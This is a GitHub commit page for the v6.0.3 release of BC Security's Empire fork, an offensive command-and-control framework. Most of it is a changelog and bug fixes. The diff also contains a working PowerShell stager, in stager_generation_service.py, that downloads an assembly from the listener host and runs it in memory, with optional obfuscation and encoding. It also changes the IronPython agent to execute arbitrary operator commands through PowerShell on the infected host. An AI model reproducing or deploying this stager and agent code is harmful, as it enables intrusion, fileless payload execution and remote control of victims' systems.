Skip to content

Commit dab6bca

Browse files
authored
Merge pull request #780 from BC-SECURITY/release/6.0.3
v6.0.3 into main
2 parents d6b6001 + dede74d commit dab6bca

File tree

8 files changed

+38
-18
lines changed

8 files changed

+38
-18
lines changed

CHANGELOG.md

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
1414

1515
## [Unreleased]
1616

17+
## [6.0.3] - 2025-04-24
18+
19+
- Fixed SMB listener not sending start task
20+
- Fixed ironpython shell commands running as cmd instead of powershell
21+
- Added literal interpretation for shell commands to ironpython agent
22+
- Fixed multi_launcher not being able to build smb agent
23+
- Removed linux as go agent option as its not implemented yet
24+
1725
## [6.0.2] - 2025-04-07
1826

1927
- Fixed issue where C# modules on powershell agent would be improperly formatted
@@ -1094,7 +1102,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
10941102
- Updated shellcoderdi to newest version (@Cx01N)
10951103
- Added a Nim launcher (@Hubbl3)
10961104

1097-
[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.0.2...HEAD
1105+
[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.0.3...HEAD
1106+
1107+
[6.0.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.0.2...v6.0.3
10981108

10991109
[6.0.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.0.1...v6.0.2
11001110

empire/server/common/empire.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@
3434
if TYPE_CHECKING:
3535
from socket import SocketIO
3636

37-
VERSION = "6.0.2 BC Security Fork"
37+
VERSION = "6.0.3 BC Security Fork"
3838

3939
log = logging.getLogger(__name__)
4040

empire/server/core/stager_generation_service.py

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -188,30 +188,28 @@ def generate_exe_oneliner(
188188
self, language, obfuscate, obfuscation_command, encode, listener_name
189189
):
190190
"""
191-
Generate a oneliner for a executable
191+
Generate an oneliner for an executable
192192
"""
193193
listener = self.listener_service.get_active_listener_by_name(listener_name)
194194

195195
if getattr(listener, "parent_listener", None) is not None:
196196
hop = listener.options["Name"]["Value"]
197197
while getattr(listener, "parent_listener", None) is not None:
198198
listener = self.listener_service.get_active_listener_by_name(
199-
listener.parent_listener.name
199+
listener.parent_listener_name
200200
)
201201
else:
202202
hop = ""
203203
host = listener.options["Host"]["Value"]
204204
launcher_front = listener.options["Launcher"]["Value"]
205205

206-
# Encoded launcher requires a sleep
207206
launcher = f"""
208207
$wc=New-Object System.Net.WebClient;
209208
$bytes=$wc.DownloadData("{host}/download/{language}/{hop}");
210209
$assembly=[Reflection.Assembly]::load($bytes);
211210
$assembly.GetType("Program").GetMethod("Main").Invoke($null, $null);
212211
"""
213212

214-
# Remove comments and make one line
215213
launcher = helpers.strip_powershell_comments(launcher)
216214
launcher = data_util.ps_convert_to_oneliner(launcher)
217215

@@ -220,12 +218,10 @@ def generate_exe_oneliner(
220218
launcher,
221219
obfuscation_command=obfuscation_command,
222220
)
223-
# base64 encode the stager and return it
224221
if encode and (
225222
(not obfuscate) or ("launcher" not in obfuscation_command.lower())
226223
):
227224
return helpers.powershell_launcher(launcher, launcher_front)
228-
# otherwise return the case-randomized stager
229225
return launcher
230226

231227
def generate_go_exe_oneliner(

empire/server/data/agent/ironpython_agent.py

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1457,6 +1457,8 @@ def directory_listing(self, path):
14571457

14581458
# additional implementation methods
14591459
def run_command(self, command, cmdargs=None):
1460+
from System.Management.Automation import PowerShell, Runspaces
1461+
14601462
if re.compile("(ls|dir)").match(command):
14611463
if cmdargs == None or not os.path.exists(cmdargs):
14621464
cmdargs = "."
@@ -1552,8 +1554,21 @@ def run_command(self, command, cmdargs=None):
15521554
else:
15531555
if cmdargs is None:
15541556
cmdargs = ""
1555-
cmd = "{} {}".format(command, cmdargs)
1556-
return os.popen(cmd).read()
1557+
full_command = "{} {}".format(command, cmdargs)
1558+
1559+
if full_command.lower().startswith("shell "):
1560+
full_command = full_command[6:].strip()
1561+
1562+
ps = PowerShell.Create()
1563+
ps.AddScript(full_command + " | Out-String")
1564+
1565+
results = ps.Invoke()
1566+
1567+
output = []
1568+
for result in results:
1569+
output.append(str(result))
1570+
1571+
return "\n".join(output)
15571572

15581573
def get_file_part(self, filePath, offset=0, chunkSize=512000, base64=True):
15591574
if not os.path.exists(filePath):

empire/server/data/agent/stagers/smb/smb.py

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,6 @@ def __init__(self):
3434
hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None
3535

3636
self.session_id = b'00000000'
37-
self.session_id = self.generate_session_id()
3837
self.key = None
3938
self.headers = self.initialize_headers(self.profile)
4039
self.packet_handler = ExtendedPacketHandler(None, staging_key=self.staging_key, session_id=self.session_id, headers=self.headers, server=self.server, taskURIs=self.taskURIs)

empire/server/listeners/smb.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -415,7 +415,7 @@ def start(self):
415415
name = self.options["Name"]["Value"]
416416
tempOptions = copy.deepcopy(self.options)
417417

418-
with SessionLocal() as db:
418+
with SessionLocal.begin() as db:
419419
agent = self.mainMenu.agentsv2.get_by_id(
420420
db, self.options["Agent"]["Value"]
421421
)
@@ -427,14 +427,14 @@ def start(self):
427427
db, agent, name + "|" + self.options["PipeName"]["Value"]
428428
)
429429
self.parent_agent = agent.session_id
430-
parent_listener_name = agent.listener
430+
self.parent_listener_name = agent.listener
431431

432432
log.info(
433433
f"{self.options['Agent']['Value']}: SMB pivot server task request send to agent"
434434
)
435435

436436
self.parent_listener = self.mainMenu.listenersv2.get_by_name(
437-
db, parent_listener_name
437+
db, self.parent_listener_name
438438
)
439439

440440
if not self.parent_listener:

empire/server/stagers/multi/go_exe.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -30,10 +30,10 @@ def __init__(self, mainMenu):
3030
"Value": "Gopire.exe",
3131
},
3232
"GOOS": {
33-
"Description": "Target operating system (e.g., linux, windows, darwin).",
33+
"Description": "Target operating system.",
3434
"Required": True,
35-
"Value": "linux",
36-
"SuggestedValues": ["linux", "windows", "darwin"],
35+
"Value": "windows",
36+
"SuggestedValues": ["windows"],
3737
"Strict": True,
3838
},
3939
"GOARCH": {

pyproject.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[tool.poetry]
22
name = "empire-bc-security-fork"
3-
version = "6.0.2"
3+
version = "6.0.3"
44
description = ""
55
authors = ["BC Security <info@bc-security.org>"]
66
readme = "README.md"

0 commit comments

Comments
 (0)